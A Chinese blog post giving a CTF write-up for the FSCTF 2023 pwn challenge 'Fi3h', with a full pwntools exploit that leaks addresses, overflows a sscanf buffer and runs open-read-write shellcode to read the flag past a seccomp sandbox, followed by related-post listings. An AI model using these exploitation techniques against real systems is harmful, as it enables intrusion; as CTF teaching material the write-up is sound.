【pwn】[FSCTF 2023]Fi3h --orw利用,沙箱检测

pwnable_orw-seccomp沙箱 但是,并不是所有的系统调用都被需要,而且不安全的代码滥用系统调用会对系统造成安全威胁。seccomp安全机制能使一个进程进入到一种“安全”运行模式,该模式下的进程只能调用4种系统调用(system call),即 read(), write(), exit() 和 sigreturn(),否则进程便会被终止。还能调用o(open)/r(read)/w(write)功能,题目orw的提示就是这样来的!输出flag文件内容,sys_write(1,file,0x30);手动生成读取文件shellcode。 阅读详情

还是先查一下程序保护情况

然后看一下代码逻辑

可以发现这里的代码还是挺多的,这里讲一下几个关键部分,首先是开头的addr = (__int64)mmap(0LL, 0x1000uLL, 7, 34, -1, 0LL);将addr这个地址开始的地方变成rwx权限,我们看一下这个地址是哪里

发现addr位于bss段中,接着看一下menu函数

这是个菜单的选择,我们进去1看看

前面一大串文字都没用,主要就是这里泄露了addr的地址,然后看一下3

这是泄露了sc_s函数的地址,我们点进去sc_s函数看看

这里可以往addr地址写东西,本想写入system的shellcode,但是沙盒禁用了execve函数(可以用seccomp-tools dump查看),最后这个函数会跳转到addr去

那只能考虑一下用orw了,接着看5

这里的__isoc99_sscanf(buf, "%[^.].%[^.].%[^.].%[^.]", &v2, &v3, &v4, &v5);

这段代码使用了 __isoc99_sscanf 函数来解析字符串 buf,按照特定格式分割成四个部分,并将每个部分的值存储在相应的变量中。

函数原型为:

c

int __isoc99_sscanf(const char *restrict str, const char *restrict format, ...);

其中,第一个参数 str 是待解析的字符串,第二个参数 format 是格式字符串,后面的参数为待存储解析结果的变量。在这段代码中,解析格式为 "%[^.].%[^.].%[^.].%[^.]",具体解析步骤如下:

  • %[^.] 表示读取除了点号(.)之外的任意字符序列,这里用于读取四个由点号分隔的部分。
  • . 表示匹配一个点号字符,用于分隔每个部分。

按照给定的格式,__isoc99_sscanf 函数会解析 buf 中的内容,并将解析结果存储在相应的变量中。根据代码中的参数,可以假设变量 v2、v3、v4 和 v5 分别是用来存储四个部分的结果。

简单说就是按照.来分割读入四个字符串到四个变量中,这里的v5距离rbp偏移是0x80,我们可以利用这个栈溢出漏洞,控制程序到上面的sc_s函数去,这样子程序的利用过程就很明显了

exp:

from pwn import *

context(os='linux',arch='amd64',log_level='debug')

io=remote("node4.anna.nssctf.cn",28907)

io.sendlineafter(b'>> ',str(1))

io.recvuntil(b"never spent in ")

addr=int(io.recv(14),16)   #具有rwx权限地址

io.sendlineafter(b">> ",str(3))

io.recvuntil(b"seems to be ")

fun_addr=int(io.recv(14),16)

io.sendlineafter(b">> ",str(5))

io.recvuntil(b"input something:\n")

payload=b"1.1.1."+b'a'*0x88+p64(fun_addr)

io.send(payload)

io.recvuntil(b"deep dork fantasy:\n")

new_addr=addr+0x200

shellcode=shellcraft.open("./flag")

shellcode+=shellcraft.read(3,new_addr,0x50)

shellcode+=shellcraft.write(1,new_addr,0x50)

shellcode=asm(shellcode)

io.send(shellcode)

io.interactive()

[BUUCTF-pwn]——pwnable_orw 记一次ORW的题目 orw就是指你的系统调用被禁止了,不能通过子进程去获得权限和flag,只能在该进程通过 open , read ,write来得到flag 32位程序,开启了canary 调用orw_seccomp函数后,输入shellcode后执行shellcode 写入sys_call的shellcode,发现不能执行 orw_seccomp函数 seccomp 是 secure computing 的缩写,其是 Linux kernel 从2.6.23版本引入的一种简洁的 sandbox 阅读详情

相关推荐

贝塞尔曲线原理--曲线生成--路径规划--matlab代码

贝塞尔曲线有着很多特殊的性质, 在图形设计和路径规划中应用都非常广泛, 在路径规划中贝塞尔曲线完全由其控制点决定其形状, n个控制点对应着n-1阶的贝塞尔曲线,并且可以通过递归的方式来绘制.

bob595078694的博客 1万+

【pwn】orw

本文分为两部分,一部分是2.27及一下的 setcontext + orw,一部分是 2.29 及以上的 setcontext + orw。 利用条件 2.27: 开了沙箱 uaf 等控制 free_hook 一、2.27 libc 2.27及以下的 setcontext: 给各寄存器传参分别由 rdi 来完成,一般的套路是线泄漏 libc 和 heap_base,我们把某一个 chunk 填充为: frame = SigreturnFrame() frame.rsp = libc.sym['__fr

weixin_43960998的博客 2122

ADRV902x射频评估实战:手把手教你用TES GUI生成ARM bin与JESD204C配置文件

在射频前端系统设计中,ADRV902x系列收发器凭借其宽带性能和灵活配置能力,已成为5G基站、微波回传等场景的核心器件。然而当工程师面对非官方硬件平台时,如何高效利用Transceiver Evaluation Software(TES)完成关键配置,成为项目推进的第一道门槛。本文将彻底解析脱离ADS9母板后的完整离线工作流,从参数预设到文件生成,手把手解决真实工程中的配置痛点。在Demo模式下,所有硬件状态检测都会被跳过,但配置文件生成功能完全可用。作为基础模板,因其配置最为简洁,便于后续自定义修改。

weixin_33704591的博客 429

CTF-pwn: orw

ORW(Open, Read, Write)是一种常见的利用技术,通常用于在攻破某个系统后读取文件(例如读出 flag 文件)的场景。

weixin_59166557的博客 1216

机器学习的学习准则(期望风险最小化、经验风险最小化、结构风险最小化)

要评价模型f(x, θ)的好坏,可通过期望风险R(θ)来衡量:求期望损失R(θ)不仅需要知道损失函数还需要知道真实分布,损失函数可以通过一定的准则计算得到,但是样本空间的真实分布是未知的。所以不能直接求R(θ)。期望风险R(θ)无法计算,给定一个训练集D =,我们可以计算经验风险,经验风险就是在训练集上的平均损失:为了解决过拟合问题,引入了参数正则化来限制模型的能力。使其不要过度的最小化经验风险。这种准则就是结构风险最小化准则

... 2225

Cisco Packet Tracer 7.3免登录技巧:3种方法快速跳过注册界面(附详细截图)

本文针对Cisco Packet Tracer 7.3启动时遇到的登录界面问题,提供了三种合法高效的解决方案。详细介绍了如何利用官方访客模式快速启动、注册思科账号实现一劳永逸登录,以及通过调整本地安装配置优化启动流程,帮助网络学习者与备考者绕过繁琐步骤,快速进入实验环境。

weixin_29305337的博客 741

【PWN · ORW | shellcode】[HGAME 2023 week1]simple_shellcode

注意,对于第一次输入的限制,这里刻意的打印了两种shellcode的长度。

Mr_Fmnwon的博客 1051

手把手教你使用Segformer训练自己的数据

SegFormer 基于Swin transformer 修改

weixin_38353277的博客 2万+

pwn——沙箱机制

pwn沙箱

djhtdjdywgjc的博客 2591

滞回比较器电路详细分析

滞回比较器是一种用于检测两个不同电压值并使比较器输出高电平或低电平的电路。滞回比较器的特点是具有迟滞特性,即当输入电压高于某一阈值时,比较器输出高电平,当输入电压低于另一阈值时,比较器输出低电平,而在这两个阈值之间,比较器的输出保持不变。比较器通常有两个模拟电压输入端UIN+和UIN-以及一个数字状态输出端UOUT。当UIN+大于UIN-时,UOUT为高电平;当UIN+小于UIN-时,UOUT为低电平。根据具体的系统定义,这两种电位的具体数值可以有所不同。

LuDvei的博客 2万+

《QEMU/KVM源码分析与应用》读书笔记1 —— 第1章 QEMU与KVM概述

《QEMU/KVM源码分析与应用》学习笔记1 —— 第一章 QEMU与KVM概述

phmatthaus的专栏 1984

【CTF】【PWN】orw

这是沙盒机制,就是限制你能使用的syscall。 seccomp-tools这个工具能快速地查出你能使用地syscall。 我们能使用的常用的构造攻击链的只有open,read,write。 但是因为限制了syscall,所以我们不能用特殊的系统调用getshell。 有两种方法,一种直接写汇编,一种利用shellcraft构造。 下面是汇编: ...

m0_50819561的博客 1894

统信UOS丨开机无法进入系统 无法打开控制台访问权限,root账号被锁定(cannot open access to console, the root account is locked)

步骤四:分别打开文件发现Roota下的fstab就是我们要找的文件,打开查看Roota的属性发现其为挂载的磁盘nvme0n1p3。步骤三:按Win+E打开文件管理器在分区中查找/etc/fstab文件,发现Roota和Rootb下都有该文件。步骤二:按键盘Ctrl+Alt+F4,进入终端控制台,如下图所示输入startx回车,进入桌面。步骤一:找到UOS系统安装的U盘,选择U盘启动进入安装界面,如下图所示。步骤七:关机,拔出U盘,启动电脑,OK,问题解决。

Reyn_观极 1万+

[BUUCTF-pwn]——pwnable_orw   (ORW)

[BUUCTF-pwn]——pwnable_orw 第一次碰到orw的问题,所谓orw就是指你的系统调用被禁止了,不能通过子进程去获得权限和flag,只能在该进程通过 open , read ,write来得到flag 这个时候可以通过seccomptools,来查看 注意看到prctl就是将系统调用给你禁止了 exploit from pwn import * context.arch = 'i386' p = remote('node3.buuoj.cn',28626) shellcode = she

Y_peak的博客 1724

假人有限元模型

假人模型,车辆碰撞假人有限元模型,适合做乘员安全的研究者利用

android 蓝牙通讯demo

android 下蓝牙通讯demo,实现了发现蓝牙,使能蓝牙,通过蓝牙发送消息。

PWN题[强网先锋]orw超详细讲解(多解法)

知识点 构造一段shellcode的作用就是为了在缓冲区溢出时将shellcode的地址覆盖正常的返回地址。 \x00 截断符 shellcode里出现\x00就会从其截断,所以构造shellcode的时候要避免\x00 x64函数调用规则 x64机器在调用某个函数前,比如int func(int a, int b, int c, int d, int e, int f, int g, int h),首先他会把前6个参数从左往右存入到寄存器rdi、rsi、rdx、rcx、r8、r9,其余参数存入到栈里,保存

am_03的博客 5208

TMS_WebGMaps_1.9.8.0_Full_Source

TMS_WebGMaps_1.9.8.0_Full_Source 全源码 delphi cbuilder

【pwn】orw&rop --泄露libc基址,orw

我们先看看程序的保护的情况因为题目提示了orw,我们可以沙箱检测一下可以发现是禁用的execve函数的,接着看函数逻辑这里格式化字符串漏洞可以泄露canary和puts函数地址,先确定一下参数位置可以发现参数是在第六个位置,接下来就是构造ROP,调用read函数读取shellcode到mmap开辟的地址就行,这里的gadget可以用题目给的libc.so.6进行寻找,exp如下:from pwn import *context(os='linux',arch='amd64',log_level='debug

question55的博客 1097

迈瑞BS系列全自动生化分析仪LIS协议接口手册(内含HL7和ASTM)

迈瑞BS系列全自动生化分析仪LIS协议接口手册,内含HL7和ASTM)

BUUCTF-pwnable_orw-WP

32位,canary保护。

Rt1Text的博客 920

格式化字符串漏洞的两种利用姿势+orw沙盒利用

通过三道例题学习一下格式化字符串漏洞和orw(沙盒),所有例题需要附件可以私信我。

2301_79880074的博客 1135

pwnable_orw

pwn的最经典的orw的题目,顺便学了一下手写汇编,对传参有了更深的理解

m0_58426698的博客 754

NSSCTF [FSCTF 2023]Fi3h

pwn新手小白,写完题后整理的一点点思路,有借鉴其他wp,有任何问题各位师傅可以提出,接收批评指正

2401_88087539的博客 480

2022强网拟态pwn wp

这次比赛本人并没有参加,然后听说这次比赛比较简单,所以最近抽时间复现一波。由于本人web不太好,也并未涉及过webpwn,遂只复现mimic以及vm和两道堆题。

weixin_51480590的博客 736

pwn -- 沙盒机制详解

沙盒机制详解概述开启沙盒的两种方式prctl函数调用seccomp库函数使用seccomp-tools识别沙盒两道例题pwnable_asm参考博客总结 概述   沙盒机制也就是我们常说的沙箱,英文名sandbox,是计算机领域的虚拟技术,常见于安全方向。一般说来,我们会将不受信任的软件放在沙箱中运行,一旦该软件有恶意行为,则禁止该程序的进一步运行,不会对真实系统造成任何危害。   在ctf比赛中,pwn题中的沙盒一般都会限制execve的系统调用,这样一来one_gadget和system调用都不好使,只

lifanxin的博客 7123

pwn学习笔记(8)--初识Pwn沙箱

​ 沙箱机制,英文sandbox,是计算机领域的虚拟技术,常见于安全方向。一般说来,我们会将不受信任的软件放在沙箱中运行,一旦该软件有恶意行为,则禁止该程序的进一步运行,不会对真实系统造成任何危害。​ 安全计算模式seccomp(Secure Computing Mode)在Linux2.6.10之后引入到kernel的特性,可用其实现一个沙箱环境。使用seccomp模式可以定义系统调用白名单和黑名单。seccomp机制用于限制应用程序可以使用的系统调用,增加系统的安全性。​ 在ctf中主要通过两种方

qq_66013948的博客 1963

CTF - PWN之ORW记录

CTF - Pwn之ORW记录。

夜风的博客 412

CTF-PWN-沙箱逃脱-【seccomp和prtcl-2】

ret的gadget的地址。直到通过该得到的栈地址-231*8可得到数组的起始地址,然后输入open的第一个参数在此位置即./flag,注意此时由于函数此时是整数输入,输入的字节会逆序排放到内存中,而调用open时是字符串参数,会从低地址到高地址一个一个转换,所以此时我们需要逆序输入./flag的字节即按galf/.字节输入。接下来就构造ROP链即可,首先是open(数组的初始地址,0,2) rax=2,此时构造的rdx不会对函数有影响,只是使得第二个参数和rax的值一样得以成功调用系统调用。

llovewuzhengzi的博客 2123

pwn手记录题1

将fake_chunk链入到了unsortedbin之中了,并且伪造了fake_chunk的fd指针指向unsortedbin;不过发现了几遍文章,其中存在着解析,将其引向了retfq该指令,该指令意思是64位与32位之间进行跳转,而syscall_fstat的rax为5,32位之中的open的syscall_number同样为5;我们发现了一个函数change_addr函数,其实就是PIE,本题开启了PIE保护,但是却又多此一举改变了地址,不懂;不过编写shellcode的时候废了好大劲,调试了好久;

菜鸡的博客 790
上一篇: 【pwn】[FSCTF 2023]What am I thinking? --pwntools工具的利用
下一篇: 【pwn】[HGAME 2022 week1]enter the pwn land --数组下标修改,栈溢出
GGb0mb
博客等级 码龄4年 224粉丝 53原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值